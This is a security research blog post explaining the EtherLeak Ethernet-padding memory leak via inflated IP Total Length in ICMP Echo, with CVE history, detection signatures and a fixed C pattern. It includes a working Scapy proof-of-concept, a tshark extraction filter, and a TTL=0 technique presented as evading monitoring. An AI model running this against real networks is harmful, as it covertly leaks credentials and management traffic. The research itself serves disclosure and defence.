Background

In 2003, CVE-2003-0001 documented that multiple NIC drivers leaked kernel memory through Ethernet frame padding — extractable via ICMP Echo. In 2021, Palo Alto disclosed CVE-2021-3031: the same class of issue on PA-series firewalls, affecting every model from PA-200 to PA-7000. In 2026, independent research confirmed the mechanism alive in enterprise network infrastructure.

The vulnerability has a name — EtherLeak — a simple root cause, and a consistent lifecycle: discovered, patched in one product, rediscovered in another. This post documents the mechanism in full.


The Ethernet Minimum Frame Problem

Ethernet has a minimum frame size requirement of 60 bytes (excluding the 4-byte FCS). This minimum exists for collision detection in half-duplex environments (the slot time constraint from 10BASE5).

When the actual payload is smaller than the minimum, the NIC pads the frame to reach 60 bytes:

[ Ethernet Header (14B) ][ IP Header (20B) ][ ICMP Header (8B) ][ Padding (18B) ]
= 14 + 20 + 8 + 18 = 60 bytes ✓

The critical question: what goes into those 18 bytes of padding?

The answer depends on the NIC driver and operating system:

  • Well-implemented stacks: padding is zeroed before transmission.
  • Poorly-implemented or legacy drivers: padding contains whatever was in the DMA ring buffer slot from the previously processed frame.

In the latter case, those 18 bytes can contain fragments of:

  • Previous frame payloads (management traffic, credentials, session tokens)
  • Source/destination MAC addresses and IP addresses from adjacent frames
  • Partial application-layer data from in-flight management connections

The Vulnerability Mechanism

IP Total Length vs. Actual Frame Data

The IP header contains a Total Length field (bytes 2-3) declaring the total size of the IP datagram. The ICMP Echo handler uses this field to determine how much payload to echo back:

icmp_payload_length = IP_Total_Length - IP_Header_Length - ICMP_Header_Length
                    = IP_Total_Length - 20 - 8
                    = IP_Total_Length - 28

A standards-compliant implementation validates this value against the actual received frame length. A vulnerable implementation trusts it unconditionally.

When an attacker sends a packet with IP_Total_Length inflated beyond the actual IP data:

Attacker sends:
  Actual IP data:  28 bytes (IP header + ICMP header, no payload)
  IP_Total_Length: 46       (claims 18 bytes of payload exist)
  Wire frame:      42 bytes actual + 18 bytes NIC padding = 60 bytes

Vulnerable handler calculates:
  icmp_payload = 46 - 28 = 18 bytes
  Reads 18 bytes starting after the ICMP header
  → Reads INTO the NIC padding area
  → Echoes back whatever is there

The reply mirrors the inflated IP_Total_Length, confirming the over-read occurred.

Threshold Determination

The maximum exploitable IP_Total_Length is bounded by the Ethernet minimum frame size:

Maximum IP_Total_Length = Ethernet minimum frame - Ethernet header
                        = 60 - 14
                        = 46 bytes
→ Maximum over-read = 46 - 28 = 18 bytes

Values above 46 cause the handler to read beyond the minimum Ethernet frame boundary — at which point behavior becomes implementation-specific. Empirically, many stacks drop these packets silently.

IP_Total_Length Actual IP Data Over-read Expected Behavior
28 28 0 bytes Normal reply
29 28 1 byte Reply — 1B over-read
36 28 8 bytes Reply — 8B over-read
46 28 18 bytes Reply — maximum over-read
48+ 28 Typically dropped

TTL=0 as an Invisibility Cloak

RFC 791, Section 3.2:

“If this field contains the value zero, then the datagram must be destroyed.”

Packets with TTL=0 must not be forwarded by routers and must not be processed by end hosts. A stack that receives a TTL=0 ICMP Echo Request and generates an Echo Reply is violating RFC 791.

This violation has a significant operational security consequence:

Monitoring visibility of an EtherLeak attack with TTL=0:

  Routers:          TTL=0 packets are not forwarded
                    → attack works only from L2 adjacency
                    → but leaves zero routed trace

  IDS/IPS:          TTL=0 traffic is anomalous by definition
                    → most rulesets skip it as "malformed"
                    → no alert generated

  Firewall logs:    TTL=0 typically filtered as noise
                    → no log entry

  Network monitors: TTL=0 filtered from baseline
                    → no anomaly detection

An attacker on the same L2 segment (management VLAN, same broadcast domain) can run continuous EtherLeak extraction with zero alerts in any conventional monitoring system.


No ICMP Checksum Validation

A secondary weakness frequently accompanying EtherLeak: the absence of ICMP checksum validation. A fully vulnerable stack processes ICMP Echo Requests regardless of checksum value — 0x0000, 0xFFFF, or any arbitrary value.

This allows completely arbitrary packet construction without integrity constraints, simplifying automated extraction tools.


Proof of Concept

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
from scapy.all import *

target = "TARGET_IP"

# EtherLeak packet:
# - TTL=0:    should be destroyed per RFC 791
# - IP len=46: 18 bytes beyond actual IP data
# - id=0xBEEF: marker for pcap filtering
pkt = IP(dst=target, len=46, ttl=0) / ICMP(type=8, code=0, id=0xBEEF)

ans, unans = sr(pkt, timeout=2, verbose=0)
if ans:
    reply = ans[0][1]
    payload = bytes(reply[ICMP].payload)
    print(f"[+] EtherLeak reply received!")
    print(f"    Over-read ({len(payload)}B): {payload.hex()}")
    print(f"    Reply TTL: {reply[IP].ttl}")
    print(f"    Reply len: {reply[IP].len}")
else:
    print("[-] No reply (stack may be patched or TTL=0 dropped)")

Verify with pcap:

1
2
3
tshark -r capture.pcapng \
  -Y "icmp.type == 0 && icmp.ident == 0xbeef" \
  -T fields -e ip.len -e icmp.seq -e data.data

A vulnerable stack returns ip.len=46 in the reply, confirming the inflated Total Length was echoed. The data.data field contains the 18 bytes read from the NIC padding area.


Virtual vs. Physical NIC Behavior

A common point of confusion when testing EtherLeak: virtual NICs zero-pad frames before delivering them to the guest.

This is a documented characteristic of hypervisor-emulated network interfaces (VirtualBox, VMware, QEMU virtio). The padding area contains \x00 bytes — not because the over-read is absent, but because the virtual NIC cleans the buffer.

On physical hardware with a real NIC and DMA ring buffer:

  • Frame padding contains data from the most recently processed frame in the same DMA slot
  • At 100+ packets/second with normal management traffic, the DMA ring turns over continuously
  • Content reflects whatever was processed before the attacker’s frame arrived

The vulnerability is the mechanism, not the current byte values. Testing on a virtual NIC confirms the over-read occurs (via ip.len=46 in the reply). Testing on physical hardware is required to observe non-zero leakage content.

This distinction matters for triage and CVE assignment: both CVE-2003-0001 and CVE-2021-3031 were accepted on the mechanism, without requiring sensitive-data demonstration on specific physical hardware.


Historical CVEs

CVE-2003-0001 — NIC Driver EtherLeak

The original disclosure. Multiple NIC drivers — 3Com, Intel, AMD PCnet — leaked kernel memory through Ethernet padding. ICMP Echo was the primary extraction vector. Affected Linux, FreeBSD, and Windows hosts.

The root cause was identical to what is described here: NIC drivers copying frame data into DMA buffers without zeroing the padding area, combined with IP stacks trusting Total Length without frame-length validation.

cve.org/CVERecord?id=CVE-2003-0001

CVE-2021-3031 — Palo Alto PAN-OS

Eighteen years later. Palo Alto Networks disclosed EtherLeak on PA-200 through PA-7000 series firewalls:

“Packets in the Ethernet frame padding are observable on the network. An unauthenticated network-based attacker can observe the last packet processed by the firewall.”

Accepted with CVSS score based on the mechanism. All PA-series hardware affected.

security.paloaltonetworks.com/CVE-2021-3031

The Pattern

CVE-2003-0001 (2003) — NIC drivers (Linux/Windows/BSD)
        ↓ 18 years
CVE-2021-3031 (2021) — Enterprise firewall (Palo Alto)
        ↓ 5 years
2026               — Enterprise network infrastructure

The mechanism does not age. It reappears wherever:

  1. ICMP Echo handler trusts IP_Total_Length without frame validation
  2. NIC DMA buffers are not zeroed between frames
  3. TTL=0 processing is not RFC-compliant

Real-World Impact

At 100 requests/second (conservative, easily achievable without detection on a local L2 segment):

18 bytes × 100 req/s = 1,800 bytes/second
                     = 108 KB/minute
                     = 6.3 MB/hour

extracted from the target NIC’s DMA ring buffer. Combined with TTL=0 invisibility, this runs indefinitely with zero IDS alerts, zero firewall logs, and zero router forwarding traces.

In environments with active management traffic, the DMA buffer contains fragments of:

  • Management session data (administrator CLI, configuration pushes)
  • Authentication exchanges (RADIUS responses, 802.1X handshakes)
  • Controller-to-device communication (management protocols, keepalives)
  • Partial credentials or session tokens from in-flight connections

Detection and Mitigation

For Defenders

Control Implementation
Frame-length validation Reject packets where IP_Total_Length > actual received frame length
TTL=0 enforcement Drop and log TTL=0 ICMP Echo Requests per RFC 791
ICMP checksum validation Reject ICMP packets with invalid checksums
NIC driver hardening Ensure DMA ring buffer zero-initialization on frame allocation

Detection Signatures

# Suricata — IP length exceeds frame size
alert icmp any any -> $HOME_NET any (
  msg:"EtherLeak - Inflated IP Total Length ICMP Echo";
  itype:8;
  dsize:0;
  ip_proto:1;
  threshold: type both, track by_src, count 5, seconds 60;
  sid:9000001; rev:1;
)

# Snort — TTL=0 ICMP
alert icmp any any -> any any (
  msg:"RFC791 Violation - TTL=0 ICMP";
  ttl:0;
  itype:8;
  sid:9000002; rev:1;
)

For Developers

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
/* Vulnerable pattern */
icmp_payload_len = ntohs(ip->ip_len) - sizeof(ip) - sizeof(icmp);
memcpy(reply_payload, icmp_data, icmp_payload_len);  // reads past frame

/* Correct pattern */
actual_data_len = received_frame_len - sizeof(eth) - sizeof(ip) - sizeof(icmp);
icmp_payload_len = min(
    ntohs(ip->ip_len) - sizeof(ip) - sizeof(icmp),
    actual_data_len  // clamp to actual received data
);
memcpy(reply_payload, icmp_data, icmp_payload_len);

Summary

EtherLeak is not a complex vulnerability. It is a one-line validation omission — trusting IP_Total_Length over the actual received frame length — that has been independently rediscovered across vendors and platforms for over two decades.

The TTL=0 combination transforms a medium-severity information disclosure into an operationally invisible continuous extraction primitive. On physical hardware with active management traffic, the DMA ring buffer contents are consistently non-trivial.

The fix is equally simple: clamp icmp_payload_length to the actual received data. The fact that this requires periodic re-discovery suggests that ICMP Echo implementation correctness is not systematically verified during product development.



Vesqer / JM00NJ — netacoding.comgithub.com/JM00NJ

Legal Disclaimer: This research is published for educational purposes and to inform the security community. All testing described was performed in authorized lab environments. Do not test against systems you do not own or have explicit written permission to test.